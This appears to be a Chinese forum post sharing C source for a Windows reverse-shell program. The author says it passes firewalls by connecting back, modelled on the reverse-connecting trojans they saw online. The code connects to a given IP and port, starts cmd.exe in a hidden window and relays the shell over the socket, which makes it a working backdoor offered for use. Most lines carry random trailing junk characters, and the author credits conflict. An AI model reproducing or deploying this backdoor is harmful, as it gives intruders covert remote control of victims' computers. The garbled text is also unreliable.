这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 PZ]5Hf1"
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/* ============================== c cr" ep
Rebound port in Windows NT zGs|DB
By wind,2006/7 z[#6-T
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===============================*/ #
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#include +{>.Sk'$
#include
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#pragma comment(lib,"wsock32.lib") 0/A-#'>
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void OutputShell(); R7K
SOCKET sClient; $%}>zqD1
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {CP o<lz
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void main(int argc,char **argv) ZrcPgcF
{ ,V2#iY.%}N
WSADATA stWsaData; 22bT3
int nRet; nZW4} ~0j
SOCKADDR_IN stSaiClient,stSaiServer; >\\5"Sf
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if(argc != 3) Qx.jCy@
{ 4!'1/3cY
printf("Useage:\n\rRebound DestIP DestPort\n"); m^0A?jBrR
return; Qv !rUiXq
} qRUCnCZs
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]L]T>~X`
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;G Qm[W([
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stSaiClient.sin_family = AF_INET; _W+Q3Jx-(
stSaiClient.sin_port = htons(0); _h~p:=
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); c%yh(g
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) J[+Tj@n'
{ e[p^p!a
printf("Bind Socket Failed!\n"); w%~qB5wF6
return; /C7s vH
} 7 s-`QdWX
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stSaiServer.sin_family = AF_INET; Sgx+V"bkT
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0$?qoS
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [wIKK/O
{ ?:JdRnH \
printf("Connect Error!"); C &FN#B
return; ]nHe$x!2]
} * T\>
OutputShell(); ZnQ27FcW
}
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void OutputShell() :(RL8
{ 5bF5~D(E
char szBuff[1024]; ?^ eJ:
SECURITY_ATTRIBUTES stSecurityAttributes; YBeZN98Nt
OSVERSIONINFO stOsversionInfo; .0KOnLdK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; UT% #K %
STARTUPINFO stStartupInfo;
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char *szShell; i"KL;t[1
PROCESS_INFORMATION stProcessInformation; ul}4p{ m[
unsigned long lBytesRead; '|J) ds
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /S/tE
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9k*^\@\\x
stSecurityAttributes.lpSecurityDescriptor = 0; yr (g~MQ
stSecurityAttributes.bInheritHandle = TRUE; z`;&bg\8
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m]Hb+Y=;h
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #R5we3&p
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;sm"\.jF
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q.U*X5
stStartupInfo.wShowWindow = SW_HIDE; !4i,%Z&6
stStartupInfo.hStdInput = hReadPipe; b*@&c9I;q
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ll 6]W~[ZC
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GetVersionEx(&stOsversionInfo); ~r{\WZ.
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switch(stOsversionInfo.dwPlatformId) |;X?">7NW
{ cA2^5'$$
case 1: s0_-1VU
szShell = "command.com"; wE-Ji<1HJ
break; O-y6!u$6&
default: ?r^
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szShell = "cmd.exe"; 1kbT@
break; m+;B!46
} !5yRWMO9X~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); bS_y_9K
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send(sClient,szMsg,77,0); 6~:W(E}
while(1) u^j8
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{ 8<E!rn-
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BnKP7e
if(lBytesRead) e|2vb
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{ 8@9hU`H8l
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9~LpO>-
send(sClient,szBuff,lBytesRead,0); (M+,wW[6
} ^KaqvG$ed
else $gj+v+%N
{ uzzWZ9Tv
lBytesRead=recv(sClient,szBuff,1024,0); Fi,e}j=2f
if(lBytesRead<=0) break; s0~05{
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XvfcPI6
} E|F!S(.:,M
} /8P4%[\
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return; c<JM1
}